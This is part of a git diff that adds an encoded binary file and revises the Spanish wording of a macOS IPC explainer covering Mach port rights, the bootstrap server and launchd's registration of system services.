zqQD3mZ6?1W{xli6!s{;Z=cUdi4~v*LD8-H0xQBG#>;*lyc4&S0iZA#Fq>XW^)rQ-rw& z!%u9{kglJ);!>Bc)G9JU_iDjc>v5j3I*#a__>$mByS7ov7;#a9GIOrh!=o^##z==t$(zlddkGnN`#T2FEmgM!Vh^p>1M(kEKf($yS zGSU;g#0RZ=&@LeaZGsYvU5en7ps{lirFq|ZSPF#RT}G4EhmL{J%P+wW_9IY z8(YpAHQ7B=X6%T(d}Yi-zG5uC8HCLlfH5eCUbVs|G}2-yvN^P|JaCU|&Dh9j_XMZ> za8*94cE^9ys6^(gnE6PS-ekdXOw^Z*jq#{8d_r3!xnL_rwv4tKty)f35g4bh=p)F9 ze<{z|jSNjphH2O*ki40-g3Sn>#HK>|xM`vigN&HCs0V85l4-P9ZuCw8}HOIWfFf)b*qDUb$C%mHpTeN^_9^Y z;X(qUiYjDjjswdSfg3>4gNQ{lme6a!d%}moH|LhC!*+vAIkQ@tcNzP)Uk~hv2?@r0 z-zn!vTeklG?vDQ;%Lxb3JtdOx4wO-Es+8|3VWoa-m%pQ^X2Lq~~RCZn+5hP&@m0J(1!1tle2i*fA}6cc?lxji8udv+|CY zd9p57%#jlE`JyqFK}aij(^7}L!{o;gZ6(u5mxb)2K|~-tesF!}3H?QJN6J7X3bPVP zqNFM0L@GRCO1^1u(8wP-c6ms`TY|96BCF-d>SdwmVVPy!IEbC!-TYCEKvOv!@3Ry9 zS4@Ko8UbmvHF;%e7p2`;qYL5t`!wZ4&+|HYj=1FvvDH-K*@e3rw2XlJ0l~3~cjYnC z;TE*3;?c>C#BA+Amjn+IcQS*+4z01M*jPy;$4zYloJ~hvmT7&%1o$v7#p1=^6PqL1 zG(<1+%vt1;!V~x&V$oh{5Mj#E}B|9WXLtm(meH+H7uxk@Phq@>XEXsa}iLEQ=ftvWCBY<$vywaEc9;v9wZ zrms6ADv(|xGcGW2-`^r-##BmzS3g|(tI`1HE>YF7k$(EM8FyoW!jhO0i#$8)4S-Nn zIlj7XN^*7Bdx+u8oHy``t~Z#6jfZZRKV>IAYCDs%NFR=iIY(%>*=j-1Y(?{vyZB?0 z4Qict*)59)0oB>}La^hvN!u6G0Fg*uW6f4pL8cJPXPd;M2}>QOsr-&3#zxl{ym95$ z57Q_{foG1XgU?gR1owf#MaphBQjU-hbmT?yINNHp*G3sbhYaBJ`Fi+)IDj_4AMiFHx>J07;;bFfsa3akw$+m3R%PE8 zx^M)NC41hy33%QucwL+Fe@9L_{P=!pufK}W&yNQ5s4FH@@Tr27o^ef-K!+7qKo^#) zmVV_W)5n3CG4?(#J47N%#Y6gqfmjnw_Kg_i`iPvM6hX)rCB>U_MlRLB#&sjqGwyi5 za%jnK-Kp6xo0prr%7)gXjT1qk$uHkOjDl8A;C-w|4fSgB7VY*OL<;LoNvU7g3VTn$ zbUpa+xdKWDu(t;opND}&9&X-yP*2;2Iw4s2*23U>G4A8%`SuMm!`{W^Pry|k5by4} zIRLhK4);M-NTRfUXBL!4mf08Tzk~10>oiS_>Xk9Yry_%trC9s)dTVYEO$PMZpHc^w z+l+vx^FxQ`Z?2Jl_{*=d_z#uX6W4Ny$p^_Lde_|d*YOurS~a!>>Bz9jK4KBWzlXv* zdv9ZH_aLrh(j~l`U@k^YxDH4MqeA7NxN|%7RTC5vlP2K(;c#RMgn)qJk(UzJ)Ds&D zr&SyV{WuvWCs_4mXti_tv+XHv-@`HsB)NakrKtWVVTfhpkGS-7DTbrg-wMCfoZ zHz1=<1^97Jq~ff2jtPm0@!u;54Kelae%T-&%)C0kv)$p1U%{h6e0ReuD|@a!?{ORU zxKjg$_Sw|k#QFD*j*W$WLKT1M=1FOwo|okXLq5z_#GF^lNl_*Yy<+3@`>z|h7IS`7 zyp+@?y#MnSBhW$hNv3!Q&#q4ohrfr2KwcPChZf7#B>DMyjoy^W8l&mDQX<=tg;0=1 zKPDC^Pf@HD&)RJ_e;UZj7f@$UelcmM2^l&khAJhh^;<5yPqdX9GCxy7OHJFsftV>r zhz$JCB_;#oM3I;lTD|voXX)D=e~J2wBSC-i?uf-EgvP>}BL8QR%3LtqM@G zKBvp$re@d_7otUp5kdCf8}^Mixdy*+=0Z`d;{5MNkA%4N5OuV_Ub>e4E(3Kp!~W^S z_opEMc>{*=i~mHlApDDK^C(tRO?EV<4J@?3;d*UEJ`*L45+(xua23K{{aTi-dX?v literal 16319 zcmcJ$by!qu7dH$ljetlgF{Gq)*B}T;NO#wuNJ)plh;(;JOG!#dBS=YufOJXMP(#hY z0N=)Qp68tB{jTeK|N6MDVei@dj=k5t?zPr${nmu3smR~QeT<8ShIU`!#d8fbv^x&K zxhgg$@L!`xp%@JfH{V7^MomFRhE~nl(b~oif`;}YEGZdFO>>*<{mr{^8EGYKYH7zY zLo`;puRjX{qGIn6D@OX~&rybZXhUkyV`3X_6B zNOKUMkPtI;und}V?t#wVxLBPLd3tbgQ_6CLNHapqc^jDEnKq9fs7iN{!Jce|{=Vcn z40E8mE5QfdyyPA$(ehkE2JeteLI(d(c9G8~dOft9xQatY0{QqmXbN~$<28+}FQ~?h z0_~rR=VCASc}wu}CLa<>hF7w#FvxlGN-}IW3$sEa(ikK9mh*c(n^IWYFR}T$w=+m@ zHl0w8eJ@gm*SO^p8DsA~r!5tCwmu(EzSpOhNb*>)Q+hG+h6FDkeUxu-$ckx@J7)DE z<6Jt;WAV;DX>c8f3YplOU}Rcr93O{1G2K8ChdIxyRED%6_LmXKGZ;Q~9DdQXZ0^A| zK|Hy98EIsX_;)+wXPCyY^{;&5+Rp7v!1@P|(w0uytp?7laX#I#`sQN2yBU#M!^5{~ zReOYxY^{+T<%K#W*K?!@OBij8sGg_H@YOIt-qpksI=eeI!0UfPaCYrc zI{I6^7z)tf?3fAq+d^Cg0JBf1+c4C()xP z6-5{Njp6f*7W=L`Ee*#VBU-daQg@R5jVcL9-qTl-!qC>uxTXoC-&_8^_xjGO@3L<( z=FyCQ6L{Y9Zb$RPk!yd)jsA>?fL?~=1@%}^BrRSqfrS)JEEfsBtkjVjed3)kTGm9o z@{sTxi_cWESlTjeQboBDKLtKhdZV2_>-!}f^jS-BkPCq;Gb z&!Sp*CDd+s6A_P}`98NCCE=&G4|A8n%E=owI?*_JbMnMhnnKS(=&beU^#4{&3oY7EjT-`(KdAh1R|rithtt9+vO$_`DCCOzCZY$0$Vs=UYK zySwFOm8CG13iT_0m!6a>98uZ%Ge}mM2!g)&_Ob)tE#{7s*0F;wZWOz{cyuAq|DVD5>FHF zCJrQ`vn9WghG=RQ%l@+brLyxmygEEUF|yw|2{);R?HfPIQ0kAug7LbaDnIwfB#Yma z@@gYXD7AOB-f8tr@K3b-Lc9rjbNa^Pmt^tygzv=ouli!4V(_SxZL00yxL#qE{A%@& z&?nmCFB3}jKYK|Z=aQ8{DoAr{HEi2-LMBt|qU+k~^xmbMG3`B|{urI2Qlb(zERtz% z99|Jpp;rI=yk#G+2{%(gwJ2qDZY$5*z#H9LN3WiM4d*R2Av^t_ZWiXzP~O~Zys%^3Uewu!d!i_O7~FUVVy#>LV2I1W_5AV zw#GQy_?)#KU$Fki8HXB9m+ARYBQq0ozwtYDZ>xz6V0Bwr0coqe^87__h9#8ZnZ|kN zswb;Q!mUZ|l3q<%o%YZE6m9oTcWXY?rIb&1O}{G`W0z!q*Z$bf&~9luZO&_Y1_t}8_?miY>6X@l)EaZ*hHT9bFRBEAY>Cvw!(=Nl4WC205rL$E`Axp29oR^CH zF8o;iYW?!Aqp#VoxbB(V`EaKWW8TuXrV;k$>~)UI?~?Czv>IwwYF<023bMaZ1NU|ervv=9UUjpIj5U(ljZhj#uv^k5BrT$XEJ1EgFg`z7oT9+nAXX= z%btZmcm`BBbqzQT7OOgZx_^)ci1>+M>3-66)~(yvS+5w_Gwe31brkq2YU8&1I6wet zi#d7mMWQ;ofzy7$(M!;)+v{Mmr^2ysYS=V==_cTYuoeT35&z*G<-8#5>cLgsVb5^X z8Ks9k%Al9M#l%We%izT8p~v`XwjGr1a(ixLZ79<)qYgF`zQ8u??UBA&$Iz|VEz*58 zCsQYs{8I^6X>m`lW!0cqW_vNSD|0OK8>AgF)Qs<8zi`@Uq~=%D(fp}Zqtw}Q9pSLJ zpCw`PZs+XH!PD8x?N`eq=jX@++cMq?wuP95>~A+n|J1vCSdXwu32ms@L{HW$x85Ga zg)-Pr3{Ol57zh}?SvIiQI~>K3Z;nP%*;dq)&FQL^a)}Z|E5)=Sn2u7KnLns}&9cfU z6N9*xRQr#qO=AmGyr!}z=06qe5%S0;5MP*GnH)PTo%j+mvXxmZTaY@iP(qET$)6CFE*7?bxu}jUvCx)y>5$hkLDcQ3FrfF4cs3T}|*j77{%)fM3j| zzjT~fqVd~2tZ?J-fo)$#oU8IK4mlc6s7kbS z^AtTF_9u9+3nG6A@B7&qZ)V!NBI^?coVw>bl~&zBnBopR!~xLW6V$cw!i|wX$Ij9u z6y4MJ?i+1{T?!Dk>Ok}qtY5xFV*}2y(a=L|(Cz_e=)mVO@Igbn8y}2@1ssWi&-0u+ z|G9g|A?NOY&e2qF8$Q#NQBVMmnwHKGh=a>(N7rDc<_2J>2^%dvSG||YqLz;KoaR=J z77$KP`?t4U(8N7Ofm3^kt2wQwy`6)LsHX(|pBAFP`R!#cdfGotTx})j^ z@$x=fCd!pFOo*AkH$5_P~s;lK(8s-<|(`^Y4!0T(>X&FG2hzvp?+^ z2aY0fDBXQVOdC2WNqS6lR>iGec_}s8XLMiD!ifyHJuRo*Sn>ipwtqDx(w+~#Pial#wHAjuur46S3?_fN9@6POwyB?~h68aqmSQjMeC=NA0 zJxaDhZf3o!NaMHBFhoo$|9kq^LU+`=_oBu2xit%wd8SO>*?)zdPMI$GZ183C*p^kv z@jK`To=zH$;M0gtmo=<}d%aaevVUo**0(LM9jqSUwAIlw$KZSYleVUxt#r*R(4n&W zY0V%nC+>QVKqiD;y;%|IaJQ9ix+mj(dd~Anz?Ym)-LEkIdOVV|Mim z?yL&N8QQwW6Gk2jZX3%XAi?8}AwI5F#HTb#UvKA&z69p<9uRb%%BkzY#&%J*ARZY9 z_lWqhvc^Su-E4n>$PMavNRHCpDwu%!O+^b_@f<%$P2oSX21M?^_(95$q`s37JYUv& zv4e@>u;4Z&@NU1c$ZNlGGk(_-R@L)yuYPH9FdMuSNh2|v@wNlU*ud6(+B_t!W>|C} z5(HixOygrN_UWH@pR>PDRu?6-IL(?7LH3k4-L5*!3%Q<>0RQ>o-^;^+b8m4nTAGZ@ z#4g#?&&%aII#y}~SL^iPM}dJuj-+5h(Eg`rDv>e$VU2Op)l8RR5$l~_#rsEIo0%zC zol~66u=tyejj!V>F3AG>sTE0n)H|jExNGJ zdlH$?%TyyC?2hRe+6xGMGtkv9VRP)fFXXD3Bgv&}Q>ah2bPGEs$MzUDg7d9G9XBU+E#_~iXF7n%+Y@5UyqZgu{m4tFfGFG zW9{X6|GPrmGC_*X_-#9eL-_GW+X|kBwQ1M!mqU15EoNtPj&0%*YDlmAa7y^fm+n3Bt~y8kFloQ@p9Vj9oB8-_ z_C-EorZCI|Dr5Qmmv_Yi5bt_7mmQpRscADO=PPn_PHY9lHJ9 zSj+SNbV(I&>A&odR0w@exM4`EFvRem zEpP$4Q_^tS=20P_^Ops>-4z6~Ql#|+zE1sh{|NpBd~2DY2S&DK|BOi;4p=bii?=B|+Do7d`1_o%?4e{JbGj>n^|f=2Bku&or(q!1K6mMQGNM z{?{z#+|U6Je)DeA!17k@K!0sEEF7y@nBIQYa6~64BKW z6jB0bY7zUQ^t3i{#^-owh}vU*G}&U-!fDQ9$#>{hS~V9trRnwG%AYowRXUfJRfl_R ziY+~gT*a!Wn|)&)M5=QLI_PPB{ z&)2!2Gd??-*>8G_*d*fIXKk37rx_)tbmr7qZU}vT-`)6t$N4sVCNDEM5hKB5OneJj?A^ApQf-99(l41s{1fz`5|6N zh#IoP(!<0?=GM{~M)cY_C_r_PeUfKYF_1d-ZK-a6m=%Q_DR0Z)TOJvz;&$_62V4m{c}7ot7J5X-sm`h%D&>d*y_ z7TZjI+E+|1J8zQ0V1V@=0iuBhyY>$lFV}lIu6)}23Z?(rr)m9dt*kfUdsWk5Rk6LVu$%yb{<)J! zuQHZfpXJM#94}mUkhjK$7?cG0ydZF9GMd#9 z)sb&8Q2Zr5VPvg=UmVDf;qK_uNmJ+*zVDBihhv~Ji`~}UuY|1;@J#vaqvO}7l6~UA zX(Mck4vM?EAvDfUOv^C!cr-%Qu{YLj#tR=^KH$GWZG!K6&GzRrdQ65rR23gh%dYxr zZhbwsbe&uTA+Zums4`2{HSy{;ZaXb^d{o9RoqajK8L3T>QJju=ckrzq5RkmlVdNt| zDkyKQkoU=JOVe19lb` zpq2ucuo_hptWxEVteS-l;;P^)S0VaizQ_XA;84)KuAyso69^{n9)G_}*if7=wCLG+`s`w9Tot?!t6Fre zhMYQI&t4L|y6$U!mDVXsZoFolgt)#st8a7D%*!_y3=#Hu7`WfG%NY~@&_LzlGO6KRr6T(fE}$;3?KJ9c(>$2jg_#w-+Zt?8Fn8eIUloHUR#eAymO-7&WGdIJ>v$l@RIz4}=+%d&T+19+)ePY(jyL0c_{yd?7gGyD zQKv)m$GY-1d9jQUbGJUUo^x|O#ne6W8*(H4C0W3eXeAm%gy^GOyqRs?S2%G?Mpd5T zsKZW&@`oUduR5XqH~SuKF6XG4C(5^=!UYJsABo}zGDW>4X3lhtzZ?P!G9Nw*))Nm; z&QSFE6?OwybNSGMR$eJv! zRtU|Fg}$+WzwR9C|A9p!H~FD@BdQL+d*^_D2C9t+MyU3+5wvzt2IQugc=ugBA7xNY z{M9POc5~5+D&5I;$BDA-=)GP~HXOdcRyoN>5g1EpXKjIrp&yx1H4tQ^cLcghZ1n>? z|HtNo);Wx#{4e9+Ii@zVI>qZ35|+!vUtk77Q2cB?PksIFS9Csmzbfan-upeH{7tCe zV_lb(&)6Lml(d(6_IXyl{Y7whfMnHOlI|!%k^756LM~j?A%t{=Z{#jn5~W|SbeWSA zb)A$EZEwfA@H^zXBB$DQJ@a1Tjc%g4XW%WG zU;ZOE-Uf@D?(Y#0Dj&i%5&PK+e?B0<(UnZ{Ui8{*^v_*dL{3iE77ou2TVrHfZ10|o zG{HwUYXF&L=rwe)H|s2`&I9J;uo{j6gr?p#ijF$ql4D9I#^41aJZU0s1R zthUKfuhpa8+tPFIT3TCR}{K0yH9=V4F}w zP$>lE7%P6TBVZFXH{a;8@R(!fPL#9y*VuM6%~X!H4W_z?)QS~Z-Zp%m_*bGTp~K&Q zF&zKk?GI^Nc}zKpFl+4Wmo?Ed4osaj7Y%f^8@J{uQB{trZjIp{Eb&A7wfvN@c@eYy z(MAW_q&vn#-T$>r@8P=0RLM#4>G?6+VqPzIwHYIhFr|n zgK)W_&#vkAbxv)D`ZACDK_->SN5f&vi19)?QCdx(GShq?63_WpW_zS130dMH1k^il zOv6OK{w5&nVRTk}`lSO1LEclHj(23lA>NL?+D4K=C zv-?c)S}Vu+<|Vf~x>WGtP`ylZiO*fwF8<(23`>+6#^af5G9^ygm(!lKR4#lr6} zU{2B@#cWs*sN)fjai#is=LpThRDw5H)Na4jhmCMO^(;~?&%#FW$7O}TKzdlo1VkrM z$m8SJKCXH$0UBXs5?=5%aaduxgEQ`?+m!L1X6Np{??)?dojq{`j&q&y~NY9>$S!y9e58J5!3$ik}jVabtBa+x7^X z#G}>@j_G#9+3NIKDMxK&iD#lsQt=ZIo1c%Zx{IVC%Mz6HT<3Tg#;gVn# z2J1Fw(beoGd~hmIuFzQ?u-kM?eV+}|ad#AZCuhvaA>dnf9dGK`{DHj{{ixoOG^%BB zZ)4oxLBPSZ`{zNGQ{7}!W{FlrS$Az8nAXis_o@`(sCx~U4ByktIzMF>Esib3Y9CGb?u}ILJm>UIZMz zr}@AUw`AN>$ZBsq*uv@Zja~vYzu-PMB=Wmv_M3}N1mB{T^7A9bDAPz?AzvQwRk^*% z-1|EJUxGPs)j7pChNGTJh2@MdlV(#!zu@o{Y5$rhGjq?kz$HW)v45z2yWHX9`<#bk z-DBZ|74n+u4+`%mQbXznhf8YS^Cs{|uY1iQulNtPzs>D^qw+tqzk#ijYM=c($GGKs z3*1kHKBN8x+}obzJhh#l-eBA3I~0!T?BCDFdH6&aEZmA0q2^_`+1)Lh7E`6x#6%rD zhhy{+G4~^dkuZZiM2uMF0ZU%>ThxOn3Z74_qPFN<&9Lg=O~`iG`-3(&@uD8_&KV|K zTZ7yZRA1*l!s*qT1_3k9Z|61SX12#n4O1qA@{5>+&Gfwof*FpRnwcktc2z;g_g~O7 zd|Kwvb=r9GDEFf1H{~igvCXt+zoowU^ZY2!N>`KEfWeqoDFD4!B$#ftz=-Xx?uXUr z$X&7N0{327l;cY56u2plJKCVDo}9DhZD@2U^Ss8hy{$IRyg(?>#q22~DCm?3+O_@0 zQ@ORU#dMj+b+7nL|A(d_hXYkdbbz#Y^(w5Q83)WF+^NKbYFhTGuYVYg>grpK-yjX? zXX!|I@{;Xo6B|{V9LwG{h`>66AhvW&lY+qUfsY?ed0n2`H5Dw9Q2Jgc0F-yAFfPOC z{gVGcwqS;r&Qp-KZRucg1POq`!-{`g;2<_N_zurf7a{0{V)lePe7q8SJGMtZmyC(#HKe@)f z3%dSZG;u=QR&q^j;#NyN(kLvl->_PZfk(!l1j0K%#$dLc8GM^gKVrFE&Npj^LL7Pd zD5Q8ttvkk~^&v|89XAHk?ynm%huuHgE#ykJm3Npq*&cWCGbn~W0xX?jUt4b}sxWG- z9ySVoDH$q#)#KM-)Lgf?VcZ<+t^!SN5nC^Te>vy_uRUFQI$QKrrnCX#zQJ;1KhiNs zAi9-EeY0Q9)n?I{yQHweQz#;w_MVk|*sPN=asrKA4%f+t_z#wCteF)i zeJ?H|${0k^o#D9>HtZ8saG&ohbW1FcRz>JLy9Be?+irG&Nm4o$^vZsJKDUR^gKy{V zG$%OOJeI+$s)c8AF*JL_g{y-ip`)bZbdgzyelfasbJK&VJeEeDu%$lcY#5>&w>#_} zRbJJIy zR4HfdYKGte8BA@zY+0bQPm`Yymv-lm@E2rgD_*w{&TYd#HT-`9RlCY|%!>PC*X@`C zbXhBq5|LlfSW8d6^2j|Jvg@F+qF-&X z#+|B?U1kGb2X4VTuq5tok=ZWl9ZpK{S4&SjGvr=0tln+=74;lvEe!eb+*Q?X|Q7` zl$AjM8g^h>q>{Pgc@5yV-Dvz8GHgDlmFJzaqZFg6BJ!R;bDsS$c(mZl@zN1b7dhpz z4(cJSu83+6^U*{I9<_(4-Jz&_Yc06Mg$Ys)suHpsdSeITEj_Y#F2KSNZP z1eD0Y5m^57s0VZq$ZSJFRQcl;S~?{Ds1Zdmyr#Ry9nQyKK8vwS|GdFMHvR!Go_>|z zQAlM)`XZ^rjk%5NZ?hDz3Rlaaw9EN|2YEpA zJXGeYrZ~1Epb5^NEJFDJ8I&uEPz;IQ>LFd%ozS`nY1Y8PmsIZP&y+`S9^h$Q_QWX5(JZ>*rt+JC+KZgJfBOdg|WZ*ZUbi5aRAKGdxqNfVM}~O zdhwVsfF08SzhzpW|6D3dNo>>5Vk*ArK7pMMOJ2pJi?<%V{=*LWAC=Z*l@?K%XwqB;(nn%>fV0=Fn|6lY6#zY5DaFR|B^=l!3w|xvxeD_NF|uD8gj1GNZMi30ds%C*ySamXtyf z>b@3l5>I^t&F`EJoUaD$E68{&4=C4MjDL%d-c~Dwbbn+SY1AoDEpN-#J))7t9KdBz zI9$#umd@1^KKh-08UksB|Ail8MDr%?>t=pjaXL5``7AzR`G^YiMoCsptMuJVBO7nx9>DlG}(r`L~#S8+KeM~NjS+YYb0ab z{ewJuW9b~4v{rsx5FQE7k=sQC(DdaAnQC93+9T!D3$w?-ScEjNNzm$;OlTB8{?{(; zhv_?>PrAH~)|hN1ZB|bnqUw>qCa!lk)!mj7;DlMy@VG+?s9T36JPB@jkRr@Vav@oi z@AxVMU68L%Kt8OPLDG)}S6QTrV7sKW;?0YmXE0?h{d#njGz(Gel>oo1)2VcTyp~)F zn~dd#2h`f8iXlVI!j|(wPNQX!v2HcXf>b$Zm8&EXkExYVa^@Hv@`NC&M8z`f1ZLIY zqS(qOGynj#1}Jg2-H&Sb^i>&~6_E&avdoy_cR=#60poM(lx8R^n9Qs?4;#i^`hi)o zSoPOks0B7**>gLy_ZHihr{@DK%~+>d_C-mXO09Z~<4=Q^IA+l{RVwuUVeYgZK4Ie$8{A8Ej1~ujCiW zDe}-d9#Te57ca2>F`8`)9!m>*@f+zM26M}6+7(05!Q(kTOR=gfY#^jy zyd~fLMZ*H-PTf@Mw0o;FF_sBms`VDD-u8d(*GeE{1!wM=J(4v43vAYm`~@~)m|=f` z&C*JUyRQa!MPlCsn@L)xoa^6UGw9j>fX&j{!!p1o0{)|jI`v+g zeOFcT*Zwop`un=4OHD|{3sHE4IIxP#9r7MVGJqCpEIP88b|1LBX%g(gW4E>EESr1m z>jCe>@&Jl8TnJv2PYjBbc0Y1_llIB8;0M=_()8BU?CVLvFZNP%Qg0~LkVW=PwdJo{ zn8tPD1(~M-uo>1JmD=az|2^(b|+3Q)b-Ia0^Bh|{pw`7AbSrE5UmZ2Zt`)<;X%h1P82=>6DeB%l$b8r zWTm?zLl-MM*hjarV@uDj^-!vK6=azyql8M9W1al(->n!Opz+WL4B<14 zwb6Dr(Lt9urHF_>d3R26tt77HDqGds5eicY>WW*CmIKh3iZ?iY;CXHBzIqZQQ9QVu zmU3swI0>rZ$0FfmvD}4oq|4k=fy#&NKWS!Ipr&R~LG30_kws93RIcU_#lVEecO5zi zNmK|laoQXZE8Ba444O{x21c*-uDd=*Ic0BO@NSNc^#uz1g|Fu7QE={sHG>EOaPd5J(9TB-BA!p^f&#yOsCa)NYQ+zbs2dy zF}}=pGkc8bUE{WhHaf9F59D>0Rgvdj%p&DNS_!H2gds+P^^c z*Oiu8)srD`YM8NvvkmJG3tcCxUR%d>+IUCbFudcBdFPNhW8EgmSk_cnhyI)r0v;2O#X$O#f)ktmBJT(m9VbpVzY2B*&{BWzZ=gDSA?M>w-EX zQoquJBWz0laHwUL3r|3abXV z5OXDlTuY#C)3Xtdd;gI3Z01#V3xQ4=KTyWzbnZ9xqx@KZ3%EnB@=m*S?=8p2Q2f*0%0bjX2K+fKuEe zn4*v0@N8=eiIgUKwh&&b4=21e6<8SACRdw?GtyqByM}*QYC1Z)<^5Ay3|URbdIcsW zk8p4PP^PXbZ8?NvH^RrYT(N(Ur^OZXlbhE|bVwb$8wfm?6sb9=>KAh1VT>dPLaLA+ zBIq7AIaNa)J;3v7pJz1u&4OANo-ILde2QPbfJ*6BV`9|j2d7D&P=qFAmUWnDTb+1~ zX>CteSq@pJ+iyrtvVf@!HBXmulZ5}qob{8vU;@U(U~UrD!cDbA;om8%j6N&EY$RC9 zg;b91qE*YCA(!eI)s4Fq%}u9@fOR+QbYi^!K*^7rw1aLM{2N!N8K{**f)xo+$|1qp)#9d+Q9=~4n<}3gt7F-!NEkE6R zMzz#U!VqN`DgeUn;=Lm_*|Ffc8pYW#aRTugiz~r=z;fiSwKohZP)RKn`4GOE9(Xv= z<77QKwh=vR(BfI8sl_zk2EW$38(R4^ulkS(8jlr_!273Qr4L--vz!M5h|n}#v&MVX z{;Y0kikt&q#Hao}zgf_i7kZQYc^mqYxAsaQu}UMW1` zE6+z!w~}!#Pme7M3hE~+85Bwz9XuLuqc3iO-DHf*h$(eJRAd5>v-=($^m6#gTBKlA zFQe0q4kJ`ujKTGPQRb^}&uoMA#1B9}9bTqd0~mOtvXj6i;&)iU--ISHn7T^DpOCj} z#p~;u)=Hj=&v11>Z$!XKkTgn(YPjh6vcE7MDN}NHL$TIh#F9CV)&0k~_iah_k1;1R z_HfiahJ*6*EXt)HeR$o)vC;DZn+sc1%y_>e{Dz|Z=llO)z~8JdW+FEF(uTbdd_++TMxyg)aUh{t8|_Xjm}4`y#M4cl0MoB zWf5UuU8%$)w(!;oJ#l?Oa{q7MGOrAwS)-hCL9$}H()X34ZTbE>Cet$#%rITIzhQah z9e9s_Ba1E-nd6A1TR)|EZg1{%6+4Nz+D;(sF_Gnn<4}>th}eO65ru-VZskUfwIFw8 z>Qs^512(qx2E@_xro3GNViY$7+eZ ze)b4INXSYDp&kStwE#FaJXwLOvVbpEa_MBBMv&>6YhFbre_#Rm4w!yZ8Xn_L9q%}{ zU%DoveEn-X`!6jt+F4wf5{2^xa^3ZFMZ39-P*Gp@ zEw%FF{$ee;|FD)#irA3%#qt|bkVHagw}9YnZAQ(!`8qvU8K<=J9yhhL=)6`X#S(L& zoPMM#g|&8@57=ZYi$A~T>mYwAc!7O8l>lO(Qx*o#0FoKME-t;0=aD40e4|{XS%5~r zK`T&5%pCJWT9HJ=NxP$vI19)8lmRqG2-HrOFLkbm`~)hR_X}x`ib6gNvS8lGNmrc^ zf7uDAm&?+-v+Vz_P&BBr?%&MjuQbu`ODbY}Yh~Z!v)B)UUeao}qR9XbN8?YC8DY}F z6puUT4N#JlNd-iOKw4-PQg+j|W~$t(E|=umx zsz~EX0`=7kCu2|R=T{P03+HB^$y2)}rgPpAcQ5DZfjyk08XU4yH2XtX&i!8qOJm>D ziAEW7`YOw$`)IJpXI^xUWYhK1dUxBgV5vGCIQDTYAo&=hDqyT4kf?5EpDdX z4xhsJ>VDtDZC=umof--es@RzSl9Gpf`$QyGFbxTiO&Z0Cu!p3uQsXI+J{P4E4X{(g zDM&%&vWM3lL_U&DkIR8^L!Q!!fmlK7R5d~e6dz0{<)bNuI5!Cg-Z+VpcgMKX?}|sD z0{_K1w&}(EJW#vDFW5cdPJ;UCUXKb|UNJKQIY~+gps-p<85(Vp-CJ+MA|c-0VTqc+ zaSTC~b!cZVtZ8XWY8vLO2 z#0r61V}>z4eTyA=2lTjKa%AxCtqk8%m7>jL!^p3>J~xf?hC`Aycn3krJP)%`L3S9UY`^=r&iz%ARRWmO@3^G)(?6i{=k{&U^R^>EiT+bY?H2%4M_+Ad+sgi{mU;XE a0xWh~kFhD$&2jrHBL!KN=M~asAO0UsoI-K{ diff --git a/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md b/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md index 22184c441..9d7b5d5b3 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md +++ b/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md @@ -1,4 +1,4 @@ -# IPC de macOS - Comunicacion entre procesos +# IPC de macOS - Comunicación entre procesos
@@ -20,7 +20,7 @@ La comunicación entre tareas se produce a través de la Comunicación entre Pro Los derechos de puerto, que definen las operaciones que una tarea puede realizar, son clave para esta comunicación. Los posibles **derechos de puerto** son: -* **Derecho de recepción**, que permite recibir mensajes enviados al puerto. Los puertos de Mach son colas MPSC (múltiples productores, un solo consumidor), lo que significa que solo puede haber **un derecho de recepción para cada puerto** en todo el sistema (a diferencia de las tuberías, donde varios procesos pueden tener descriptores de archivo para el extremo de lectura de una tubería). +* **Derecho de recepción**, que permite recibir mensajes enviados al puerto. Los puertos Mach son colas MPSC (múltiples productores, un solo consumidor), lo que significa que solo puede haber **un derecho de recepción para cada puerto** en todo el sistema (a diferencia de las tuberías, donde varios procesos pueden tener descriptores de archivo para el extremo de lectura de una tubería). * Una **tarea con el derecho de recepción** puede recibir mensajes y **crear derechos de envío**, lo que le permite enviar mensajes. Originalmente, solo la **propia tarea tiene el derecho de recepción sobre su puerto**. * **Derecho de envío**, que permite enviar mensajes al puerto. * **Derecho de envío único**, que permite enviar un mensaje al puerto y luego desaparece. @@ -41,16 +41,16 @@ Como se menciona, para establecer el canal de comunicación, está involucrado e El servidor de arranque **no puede autenticar** el nombre del servicio reclamado por una tarea. Esto significa que una **tarea** podría potencialmente **suplantar cualquier tarea del sistema**, como **falsamente reclamar un nombre de servicio de autorización** y luego aprobar cada solicitud. -Luego, Apple almacena los **nombres de los servicios proporcionados por el sistema** en archivos de configuración seguros, ubicados en directorios protegidos por SIP: `/System/Library/LaunchDaemons` y `/System/Library/LaunchAgents`. Junto a cada nombre de servicio, también se almacena el **binario asociado**. El servidor de arranque creará y mantendrá un **derecho de RECEPCIÓN para cada uno de estos nombres de servicio**. +Entonces, Apple almacena los **nombres de los servicios proporcionados por el sistema** en archivos de configuración seguros, ubicados en directorios protegidos por SIP: `/System/Library/LaunchDaemons` y `/System/Library/LaunchAgents`. Junto a cada nombre de servicio, también se almacena el **binario asociado**. El servidor de arranque creará y mantendrá un **derecho de RECEPCIÓN para cada uno de estos nombres de servicio**. -Para estos servicios predefinidos, el **proceso de búsqueda difiere ligeramente**. Cuando se busca un nombre de servicio, launchd inicia el servicio dinámicamente. El nuevo flujo de trabajo es el siguiente: +Para estos servicios predefinidos del sistema, el **proceso de búsqueda difiere ligeramente**. Cuando se busca un nombre de servicio, launchd inicia el servicio dinámicamente. El nuevo flujo de trabajo es el siguiente: * La tarea **B** inicia una **búsqueda de arranque** para un nombre de servicio. * **launchd** comprueba si la tarea se está ejecutando y, si no lo está, **la inicia**. * La tarea **A** (el servicio) realiza un **registro de arranque**. Aquí, el servidor de arranque crea un derecho de ENVÍO, lo retiene y **transfiere el derecho de RECEPCIÓN a la tarea A**. * launchd duplica el **derecho de ENVÍO y lo envía a la tarea B**. -Sin embargo, este proceso solo se aplica a las tareas del sistema predefinidas. Las tareas que no son del sistema todavía funcionan como se describe originalmente, lo que podría permitir la suplantación. +Sin embargo, este proceso solo se aplica a las tareas predefinidas del sistema. Las tareas que no son del sistema aún operan como se describe originalmente, lo que podría permitir la suplantación. ### Ejemplo de código Observe cómo el **emisor** **asigna** un puerto, 